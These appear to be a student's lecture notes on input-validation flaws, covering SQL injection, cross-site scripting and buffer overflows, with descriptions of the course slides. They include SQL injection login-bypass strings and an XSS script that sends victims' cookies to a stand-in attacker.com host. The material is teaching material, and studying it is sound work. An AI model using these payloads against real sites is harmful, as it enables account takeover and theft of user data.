Programmers are not perfect.

Unvalidated input

A computer program with numbers and letters

Description automatically generated with medium confidence

Incomplete mediation or unvalidated input

It might be difficult for number of us to get to grips with what we are talking about simply because we are used to graphical user interfaces.

So Alan needs to make something clear about this.

Programs could indeed be perfect and they’d probably be wonderful if they were totally segregated things ,if they kept to themselves ,if we started them and let them run and they finished.

They seldom are, as we need to interact with our programs.

At some point presumably a user(or another machine ) will be able to put input into the program to steer what later happens.

Idea is we are getting program to change what it’s doing depending on pushing buttons or something like that.

Even if your GUI only has menus or buttons, I hope you can imagine that a bad programmer could create problems by allowing you to do illogical things – like save a file without doing anything.

Programs that have to deal with typed input or other kinds of streamed data ,that can be more of a problem.

Input validation – making sure all input that is coming to the program will not spoil what the programming is trying to do.

In cross site scripting I was sending things to the website that was getting reflected back to me. That reflection was causing problems.

If the website had validated the input and made sure there were no HTML codes with scripts, it could have stripped the code of the JavaScript and what came back would have been harmless.

We have now got possibility to realize that cross site scripting is subclass of this unvalidated input.

On server side they are sending data to every kind of user and assuming that user will not manipulate it.poor programming

SQL injection(ilearn)

Here in the picture you see that what’s represented here is what’s happening on your browser.

You come to a web page where you see this. This might be that you’re logging into my application for students so students can see what their results are.

Login through the webpage as we used to with dsv systems , and the like.

This is part of what will be happening on the server side. I will be evaluating a piece of code

This is kind of code we are used to accessing DB’s with (SQL code)

Will show you first what happens and then explain more about what that piece of code does. So first thing I’m likely to do ,is to type in user id and password.

A screenshot of a computer program

Description automatically generated

The slide shows:

1. **Login Interface:** A simple user interface with fields for "User ID" and "Password", along with a "Log in" button. This represents a typical login form on a website.
2. **Vulnerable SQL Code:** Below the login interface is an example of vulnerable SQL code that might be used on the backend of the website to authenticate users:

"SELECT \* FROM users WHERE username = '" + username + "' AND password = '" + password + "'"

This code constructs an SQL query by directly appending user-supplied values for **username** and **password**. The problem here is that the user inputs are not sanitized, making the application vulnerable to SQL Injection.

1. **Injection Example:** The slide shows an example of what a malicious user could enter into the username field:

' OR 1=1--

When this input is inserted into the SQL query, the query becomes:

sqlCopy code

SELECT \* FROM users WHERE username = '' OR 1=1--' AND password = ''

Here's what happens in this modified query:

* + The **''** (empty string) before the **OR** is the result of the initial query assuming an empty username.
  + The **OR 1=1** part always evaluates to true, which means the WHERE clause will always be satisfied regardless of what's in the username and password fields.
  + The **--** is a comment indicator in SQL, which effectively makes the database ignore the rest of the query (the password check in this case).

1. **Outcome of Injection:** As a result of this injection, an attacker could bypass authentication and potentially gain access to all user accounts. This is because the modified query effectively tells the database to select all records from the users table without checking the username or password, due to the **1=1** condition always being true.
2. **SQL Injection Impact:** This type of vulnerability can lead to unauthorized access to sensitive data, such as personal or financial information, and is a severe security risk.
3. **Logo of Stockholm University:** The slide also contains the logo of Stockholm University, which suggests that this might be part of an educational course or training provided by the university.

Preventing SQL Injection typically involves using parameterized queries (prepared statements) or stored procedures, which ensure that user input is treated strictly as data and not as part of the SQL command. Additionally, input validation and sanitization are critical in securing applications against such vulnerabilities.

SQL injection(other video)

Goal with login form – use it in a way that gives us access to underlying DB.

When you try to login to website ,when u hit enter website will run a search on an underlying DB to see if your username and password are there in DB , if there u login successfully

Username-admin

Password – s3cret123

Website will use such a query

SELECT \* FROM USERS WHERE username= ’admin’ AND password=’s3cret123’

When string of characters between single quotes -string

Anything inside quotes -string. Anything outside quotes – SQL query.

What if we send more than a string but also some SQL query in our input.

Add a quote at end of our input like admin’

What will tell us if website is vulnerable to SQL injection

If we get a different error when we hit enter like syntax error.

Username – admin’

Password – password123

We know we can insert extra stuff besides string

Syntax error

SELECT \* FROM USERS WHERE username=’admin’’ AND password='password123’

If both true it will evaluate to true – we get successful login

What if we can make SQL statement always evaluate to true no matter what we put in

OR payload -

username - admin’ or ‘1’=’1

comment  
username – admin’--

ignores rest of statement

SQL injection actually affects the server side database but not Cross site scripting.

SQL injection - take control of host database using a modified command as input.

Cross site scripting changes what you will see. Used to deface websites.

It allows attackers to inject malicious scripts into webpages viewed by other users.

These scripts can access any cookies, session tokens, or other sensitive information retained by the browser and used with that site. XSS attacks can also be used to deface websites or redirect the user to malicious sites.

**Scenario:**

Suppose there's a popular online forum where users can post comments. This forum displays comments from users without properly sanitizing and escaping user input.

**Attack Steps:**

1. **Crafting the Malicious Script:** An attacker writes a JavaScript script designed to steal cookies from users. This script could look something like this .

<script> var xhr = new XMLHttpRequest(); xhr.open("GET", "http://attacker.com/steal?cookie=" + document.cookie, true); xhr.send(); </script>

This script, when run in someone's browser, sends the user's cookies to the attacker's server.

1. **Inserting the Script:** The attacker then posts a comment on the forum and includes the malicious script in the comment text.
2. **Execution of the Script:** When other users visit the forum page that includes the attacker's comment, the malicious script runs in their browsers. Because the script is embedded in the web page, it executes with the same privileges as any other script running on the site.
3. **Stealing Information:** The script accesses the cookies of each user who views the comment. These cookies might contain session tokens, which the attacker can use to impersonate the users and gain unauthorized access to their accounts on the forum.
4. **Sending Data to Attacker:** The script silently sends the stolen cookies to the attacker’s server. The users are unaware that their information has been compromised.

The attacker now potentially has access to multiple user accounts on the forum. They can use these accounts to read private messages, post messages under their names, or even access other functionalities restricted to logged-in users, depending on what the cookies allow.

1. **Cross-Site Scripting (XSS):**. XSS typically involves an attacker injecting malicious scripts into a website, which are then executed by the browser of the user visiting that site. It doesn't usually involve changing what a user sees directly, but rather running a script that can perform various actions, like stealing cookies or session tokens. A more fitting example would be an attacker injecting a script into a comment on a website, which then executes when other users view that comment.
2. **Deceptive Bank URL (Phishing/Spoofing):** This example is a form of social engineering attack, where an attacker sends a modified bank URL that falsely shows that a payment has been made. Accurately portrays a common phishing tactic where attackers use deception to mislead victims, often for financial gain.
3. **SQL Injection:** Your description is a good example of SQL Injection. This attack occurs when an attacker uses input fields, like a search box, to send malicious SQL commands, which are then executed by the database. This can lead to unauthorized access to database information, data theft, or destruction.

Buffer overflow (ilearn)

A computer screen shot of a program

Description automatically generated

slide titled "Buffer Overflow" with an example of a programming code snippet and a visual representation of a buffer in memory.

**Code Snippet:** The code snippet demonstrates an unchecked loop in a program:

for (i=0; i<daysWorkedThisMonth; i++) hours[i] = hoursWorkedThatDay();

It suggests that the loop iterates based on the number of days worked in a month, presumably filling an array **hours[]** with the hours worked each day by calling a function **hoursWorkedThatDay()**.

**Question on the Slide:** The slide poses a question to the audience: "What is the worst case scenario for this program if the programmer did not check the size of **daysWorkedThisMonth**?"

**Visual Representation of Buffer in Memory:** Below the question, there is a visual representation of an unchecked buffer in memory. It shows a buffer with the text "Hello World" followed by a null terminator **\0**. The visual then shows what happens when data exceeds the buffer's allocated space: "Hello World" is followed by the text "Nasty stuff in memory!", which represents the overflow of data beyond the buffer's boundaries.

**Explanation of the Image Content:** The slide is highlighting a common vulnerability in software development where the buffer, a defined space in memory for data storage, does not have a proper boundary check. If the variable **daysWorkedThisMonth** contains a number larger than the allocated size of the **hours** array, the loop will write data past the end of the buffer. This is a buffer overflow.

**Worst Case Scenario:** In the worst-case scenario for this program, if **daysWorkedThisMonth** is larger than the size of the array **hours**, the excess data written could overwrite adjacent memory locations.

This could corrupt data, crash the program, or, in the worst case, be exploited to execute arbitrary code. An attacker could potentially insert malicious code into the overflow space, which could then be executed, leading to a security breach.

The slide emphasizes the importance of checking buffer sizes to prevent such vulnerabilities. This is typically done by ensuring that the loop's limit (**daysWorkedThisMonth**) does not exceed the buffer's capacity (the size of the **hours** array).

Buffer overflow  
A buffer overflow is a type of vulnerability that occurs when a program writes more data to a buffer, which is a contiguous block of memory allocated to contain data, than it can actually hold.

This excess data then overwrites adjacent memory, which can lead to various types of problematic behaviors ranging from data corruption to execution of malicious code.

Here's a breakdown of the concept:

1. **Buffer and Memory Management:** In computing, a buffer is a region of physical memory storage used to temporarily store data while it's being moved from one place to another. Proper memory management in programming involves ensuring that a program only writes data to the memory allocated for it.
2. **How Buffer Overflow Occurs:** Buffer overflow happens when a program attempts to write more data into a buffer than it was intended to hold. Since buffers are created to contain a certain amount of data, the extra data spills over into adjacent buffers, overwriting valid data and program variables.
3. **Consequences:** The consequences of a buffer overflow can be severe:
   * **Crashing the Program:** The simplest effect is crashing the program, as the unexpected data can disrupt the program's flow.
   * **Security Vulnerabilities:** More seriously, buffer overflows can be exploited to execute arbitrary code. Attackers may use buffer overflows to insert malicious code into memory spaces that are then executed. This is a common method for gaining unauthorized access to systems.
4. **Famous Examples:** Some of the most notorious security breaches and computer worms, like the Morris Worm and the Slammer Worm, have exploited buffer overflow vulnerabilities.
5. **Prevention and Mitigation:** To prevent buffer overflows, programmers need to use safe memory management practices. This includes:
   * Checking the size of inputs to ensure they don't exceed buffer size.
   * Using programming languages that manage memory automatically (like Python, Java) or perform bounds checking (like Rust).
   * Implementing security features like canaries, address space layout randomization (ASLR), and non-executable memory stacks in operating systems.

Buffer overflow vulnerabilities have historically been a major security concern in software development, especially in languages like C and C++ that don’t automatically manage memory. Awareness and the use of secure coding practices are essential for preventing such vulnerabilities.